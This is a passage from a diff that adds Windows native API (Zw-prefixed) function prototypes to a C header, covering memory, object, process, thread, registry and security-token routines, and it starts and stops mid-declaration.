ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ _Out_ PSIZE_T RegionSize, + _Out_ PIO_STATUS_BLOCK IoStatus + ); + + + +NTSTATUS +NTAPI +ZwLockVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ _Out_ PSIZE_T RegionSize, + _In_ ULONG MapType + ); + + + +NTSTATUS +NTAPI +ZwUnlockVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ _Out_ PSIZE_T RegionSize, + _In_ ULONG MapType + ); + + + +NTSTATUS +NTAPI +ZwProtectVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ _Out_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect + ); + + + +NTSTATUS +NTAPI +ZwQueryVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_ PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_ OPTIONAL PSIZE_T ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwQuerySection ( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_ PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_ OPTIONAL PSIZE_T ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwMapUserPhysicalPages ( + _In_ PVOID VirtualAddress, + _In_ ULONG_PTR NumberOfPages, + _In_ OPTIONAL PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwMapUserPhysicalPagesScatter ( + _In_ PVOID *VirtualAddresses, + _In_ ULONG_PTR NumberOfPages, + _In_ OPTIONAL PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwAllocateUserPhysicalPages ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PULONG_PTR NumberOfPages, + _Out_ PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwFreeUserPhysicalPages ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PULONG_PTR NumberOfPages, + _In_ PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwGetWriteWatch ( + _In_ HANDLE ProcessHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize, + _Out_ PVOID *UserAddressArray, + _In_ _Out_ PULONG_PTR EntriesInUserAddressArray, + _Out_ PULONG Granularity + ); + + + +NTSTATUS +NTAPI +ZwResetWriteWatch ( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize + ); + + + +NTSTATUS +NTAPI +ZwCreatePagingFile ( + _In_ PUNICODE_STRING PageFileName, + _In_ PLARGE_INTEGER MinimumSize, + _In_ PLARGE_INTEGER MaximumSize, + _In_ ULONG Priority + ); + + + +NTSTATUS +NTAPI +ZwFlushInstructionCache ( + _In_ HANDLE ProcessHandle, + _In_ OPTIONAL PVOID BaseAddress, + _In_ SIZE_T Length + ); + + + +NTSTATUS +NTAPI +ZwFlushWriteBuffer ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwQueryObject ( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_ PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_ PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationObject ( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _In_ PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength + ); + + + +NTSTATUS +NTAPI +ZwDuplicateObject ( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_ OPTIONAL HANDLE TargetProcessHandle, + _Out_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options + ); + + + +NTSTATUS +NTAPI +ZwMakeTemporaryObject ( + _In_ HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwMakePermanentObject ( + _In_ HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwSignalAndWaitForSingleObject ( + _In_ HANDLE SignalHandle, + _In_ HANDLE WaitHandle, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForSingleObject ( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForMultipleObjects ( + _In_ ULONG Count, + _In_ HANDLE Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForMultipleObjects32 ( + _In_ ULONG Count, + _In_ LONG Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwSetSecurityObject ( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + + +NTSTATUS +NTAPI +ZwQuerySecurityObject ( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded + ); + + + +NTSTATUS +NTAPI +ZwClose ( + _In_ HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwCreateDirectoryObject ( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenDirectoryObject ( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryDirectoryObject ( + _In_ HANDLE DirectoryHandle, + _Out_ PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _In_ _Out_ PULONG Context, + _Out_ PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCreateSymbolicLinkObject ( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING LinkTarget + ); + + + +NTSTATUS +NTAPI +ZwOpenSymbolicLinkObject ( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQuerySymbolicLinkObject ( + _In_ HANDLE LinkHandle, + _In_ _Out_ PUNICODE_STRING LinkTarget, + _Out_ PULONG ReturnedLength + ); + + + +NTSTATUS +NTAPI +ZwGetPlugPlayEvent ( + _In_ HANDLE EventHandle, + _In_ OPTIONAL PVOID Context, + _Out_ PPLUGPLAY_EVENT_BLOCK EventBlock, + _In_ ULONG EventBufferSize + ); + + + +NTSTATUS +NTAPI +ZwPlugPlayControl( + _In_ PLUGPLAY_CONTROL_CLASS PnPControlClass, + _In_ _Out_ PVOID PnPControlData, + _In_ ULONG PnPControlDataLength + ); + + + +NTSTATUS +NTAPI +ZwPowerInformation( + _In_ POWER_INFORMATION_LEVEL InformationLevel, + _In_ OPTIONAL PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_ OPTIONAL PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwSetThreadExecutionState( + _In_ EXECUTION_STATE esFlags, // ES_xxx flags + _Out_ EXECUTION_STATE *PreviousFlags + ); + + + +NTSTATUS +NTAPI +ZwRequestWakeupLatency( + _In_ LATENCY_TIME latency + ); + + + +// NTSTATUS +// NTAPI +// ZwInitiatePowerAction( +// _In_ POWER_ACTION SystemAction, +// _In_ SYSTEM_POWER_STATE MinSystemState, +// _In_ ULONG Flags, // POWER_ACTION_xxx flags +// _In_ BOOLEAN Asynchronous +// ); + + + +// NTSTATUS +// NTAPI +// ZwSetSystemPowerState( +// _In_ POWER_ACTION SystemAction, +// _In_ SYSTEM_POWER_STATE MinSystemState, +// _In_ ULONG Flags // POWER_ACTION_xxx flags +// ); + + + +// NTSTATUS +// NTAPI +// ZwGetDevicePowerState( +// _In_ HANDLE Device, +// _Out_ DEVICE_POWER_STATE *State +// ); + + + +NTSTATUS +NTAPI +ZwCancelDeviceWakeupRequest( + _In_ HANDLE Device + ); + + + +NTSTATUS +NTAPI +ZwRequestDeviceWakeup( + _In_ HANDLE Device + ); + + + +NTSTATUS +NTAPI +ZwCreateProcess ( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ BOOLEAN InheritObjectTable, + _In_ OPTIONAL HANDLE SectionHandle, + _In_ OPTIONAL HANDLE DebugPort, + _In_ OPTIONAL HANDLE ExceptionPort + ); + + + +NTSTATUS +NTAPI +ZwCreateProcessEx ( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_ OPTIONAL HANDLE SectionHandle, + _In_ OPTIONAL HANDLE DebugPort, + _In_ OPTIONAL HANDLE ExceptionPort, + _In_ ULONG JobMemberLevel + ); + + + +NTSTATUS +NTAPI +ZwOpenProcess ( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ OPTIONAL PCLIENT_ID ClientId + ); + + + +NTSTATUS +NTAPI +ZwTerminateProcess ( + _In_ OPTIONAL HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationProcess ( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwGetNextProcess ( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwGetNextThread ( + _In_ HANDLE ProcessHandle, + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwQueryPortInformationProcess ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwSetInformationProcess ( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength + ); + + + +NTSTATUS +NTAPI +ZwCreateThread ( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _Out_ PCLIENT_ID ClientId, + _In_ PCONTEXT ThreadContext, + _In_ PINITIAL_TEB InitialTeb, + _In_ BOOLEAN CreateSuspended + ); + + + +NTSTATUS +NTAPI +ZwOpenThread ( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ OPTIONAL PCLIENT_ID ClientId + ); + + + +NTSTATUS +NTAPI +ZwTerminateThread ( + _In_ OPTIONAL HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwSuspendThread ( + _In_ HANDLE ThreadHandle, + _Out_ OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwResumeThread ( + _In_ HANDLE ThreadHandle, + _Out_ OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwSuspendProcess ( + _In_ HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwResumeProcess ( + _In_ HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwGetContextThread ( + _In_ HANDLE ThreadHandle, + _In_ _Out_ PCONTEXT ThreadContext + ); + + + +NTSTATUS +NTAPI +ZwSetContextThread ( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationThread ( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_ PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationThread ( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _In_ PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength + ); + + + +NTSTATUS +NTAPI +ZwAlertThread ( + _In_ HANDLE ThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwAlertResumeThread ( + _In_ HANDLE ThreadHandle, + _Out_ OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwImpersonateThread ( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + + + +NTSTATUS +NTAPI +ZwTestAlert ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwRegisterThreadTerminatePort ( + _In_ HANDLE PortHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLdtEntries ( + _In_ ULONG Selector0, + _In_ ULONG Entry0Low, + _In_ ULONG Entry0Hi, + _In_ ULONG Selector1, + _In_ ULONG Entry1Low, + _In_ ULONG Entry1Hi + ); + + + +NTSTATUS +NTAPI +ZwQueueApcThread ( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcArgument1, + _In_ OPTIONAL PVOID ApcArgument2, + _In_ OPTIONAL PVOID ApcArgument3 + ); + + + +NTSTATUS +NTAPI +ZwCreateJobObject ( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenJobObject ( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwAssignProcessToJobObject ( + _In_ HANDLE JobHandle, + _In_ HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwTerminateJobObject ( + _In_ HANDLE JobHandle, + _In_ NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwIsProcessInJob ( + _In_ HANDLE ProcessHandle, + _In_ OPTIONAL HANDLE JobHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateJobSet ( + _In_ ULONG NumJob, + _In_ PJOB_SET_ARRAY UserJobSet, + _In_ ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationJobObject ( + _In_ OPTIONAL HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_ PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationJobObject ( + _In_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _In_ PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength + ); + + + +NTSTATUS +NTAPI +ZwCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + _In_ OPTIONAL PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_ OPTIONAL PULONG Disposition + ); + + + +NTSTATUS +NTAPI +ZwDeleteKey( + _In_ HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName + ); + + + +NTSTATUS +NTAPI +ZwEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_ OPTIONAL PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwEnumerateValueKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_ OPTIONAL PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwFlushKey( + _In_ HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwInitializeRegistry( + _In_ USHORT BootCondition + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeKey( + _In_ HANDLE KeyHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_ OPTIONAL PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeMultipleKeys( + _In_ HANDLE MasterKeyHandle, + _In_ OPTIONAL ULONG Count, + _In_ OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_ OPTIONAL PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + + + +NTSTATUS +NTAPI +ZwLoadKey( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile + ); + + + +NTSTATUS +NTAPI +ZwLoadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwLoadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_ OPTIONAL HANDLE TrustClassKey + ); + + + +NTSTATUS +NTAPI +ZwOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_ OPTIONAL PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_ OPTIONAL PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _In_ _Out_ PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_ PVOID ValueBuffer, + _In_ _Out_ PULONG BufferLength, + _Out_ OPTIONAL PULONG RequiredBufferLength + ); + + + +NTSTATUS +NTAPI +ZwReplaceKey( + _In_ POBJECT_ATTRIBUTES NewFile, + _In_ HANDLE TargetHandle, + _In_ POBJECT_ATTRIBUTES OldFile + ); + + + +NTSTATUS +NTAPI +ZwRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName + ); + + + +NTSTATUS +NTAPI +ZwCompactKeys( + _In_ ULONG Count, + _In_ HANDLE KeyArray[] + ); + + + +NTSTATUS +NTAPI +ZwCompressKey( + _In_ HANDLE Key + ); + + + +NTSTATUS +NTAPI +ZwRestoreKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwSaveKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwSaveKeyEx( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Format + ); + + + +NTSTATUS +NTAPI +ZwSaveMergedKeys( + _In_ HANDLE HighPrecedenceKeyHandle, + _In_ HANDLE LowPrecedenceKeyHandle, + _In_ HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ OPTIONAL ULONG TitleIndex, + _In_ ULONG Type, + _In_ OPTIONAL PVOID Data, + _In_ ULONG DataSize + ); + + + +NTSTATUS +NTAPI +ZwUnloadKey( + _In_ POBJECT_ATTRIBUTES TargetKey + ); + + + +NTSTATUS +NTAPI +ZwUnloadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwUnloadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ OPTIONAL HANDLE Event + ); + + + +NTSTATUS +NTAPI +ZwSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_ PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength + ); + + + +NTSTATUS +NTAPI +ZwQueryOpenSubKeys( + _In_ POBJECT_ATTRIBUTES TargetKey, + _Out_ PULONG HandleCount + ); + + + +NTSTATUS +NTAPI +ZwQueryOpenSubKeysEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG BufferLength, + _Out_ PVOID Buffer, + _Out_ PULONG RequiredSize + ); + + + +NTSTATUS +NTAPI +ZwLockRegistryKey( + _In_ HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwLockProductActivationKeys( + _In_ _Out_ OPTIONAL ULONG *pPrivateVer, + _Out_ OPTIONAL ULONG *pSafeMode + ); + + + +NTSTATUS +NTAPI +ZwAccessCheck ( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_ PPRIVILEGE_SET PrivilegeSet, + _In_ _Out_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByType ( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ OPTIONAL PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_ PPRIVILEGE_SET PrivilegeSet, + _In_ _Out_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultList ( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ OPTIONAL PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_ PPRIVILEGE_SET PrivilegeSet, + _In_ _Out_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwCreateToken( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE TokenType, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_ OPTIONAL PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_ OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE TokenSource + ); + + + +NTSTATUS +NTAPI +ZwCompareTokens( + _In_ HANDLE FirstTokenHandle, + _In_ HANDLE SecondTokenHandle, + _Out_ PBOOLEAN Equal + ); + + + +NTSTATUS +NTAPI +ZwOpenThreadToken( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _Out_ PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenProcessTokenEx( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE TokenType, + _Out_ PHANDLE NewTokenHandle + ); + + + +NTSTATUS +NTAPI +ZwFilterToken ( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_ OPTIONAL PTOKEN_GROUPS SidsToDisable, + _In_ OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_ OPTIONAL PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle + ); + + + +NTSTATUS +NTAPI +ZwImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationToken ( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationToken ( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength + ); + + + +NTSTATUS +NTAPI +ZwAdjustPrivilegesToken ( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_ OPTIONAL PTOKEN_PRIVILEGES NewState, + _In_ OPTIONAL ULONG BufferLength, + _Out_ PTOKEN_PRIVILEGES PreviousState, + _Out_ OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwAdjustGroupsToken ( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN ResetToDefault, + _In_ PTOKEN_GROUPS NewState , + _In_ OPTIONAL ULONG BufferLength , + _Out_ PTOKEN_GROUPS PreviousState , + _Out_ PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwPrivilegeCheck ( + _In_ HANDLE ClientToken, + _In_ _Out_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckAndAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeAndAuditAlarm ( + _In_ PUNICODE_STRING SubsystemName, + _In_ OPTIONAL PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ OPTIONAL PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_ POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ 